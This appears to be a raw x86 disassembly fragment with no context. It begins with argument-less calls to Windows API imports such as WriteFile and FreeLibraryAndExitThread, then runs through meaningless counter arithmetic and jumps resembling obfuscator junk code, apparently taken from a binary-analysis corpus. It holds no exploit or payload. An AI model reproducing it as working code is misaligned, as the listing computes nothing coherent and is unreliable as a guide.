call dword [sym.imp.USER32.dll_GetParent]
call dword [sym.imp.USER32.dll_SetActiveWindow]
call dword [sym.imp.KERNEL32.dll_WriteFile]
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
mov edx, dword [ebp - 0x4c]
sub edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
xor eax, dword [ebp - 4]
je 0x42ad54
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x20]
jge 0x42ad43
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0xc]
jne 0x42ad4b
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 8]
je 0x42ad54
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xed5
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x42ad74
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x20]
jge 0x42aeab
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x34]
jge 0x42ada5
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 8]
jge 0x42ada5
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x124]
cmp ecx, dword [ebp - 0x128]
jge 0x42adda
mov dword [ebp - 0xa0], 1
jmp 0x42ade4
mov dword [ebp - 0xa0], 0
mov edx, dword [ebp - 8]
and edx, dword [ebp - 0xa0]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 0x12c], 0
jne 0x42ae70
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0xc]
jne 0x42ae70
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x40]
jl 0x42ae70
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x38]
xor ecx, dword [ebp - 0x28]
jne 0x42ae70
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x130], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x130]
cmp edx, dword [ebp - 0x134]
jge 0x42ae5b
mov dword [ebp - 0xa4], 1
jmp 0x42ae65
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x48]
or eax, dword [ebp - 0xa4]
je 0x42ae79
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
jmp 0x42ad6b
mov esp, ebp
pop ebp
ret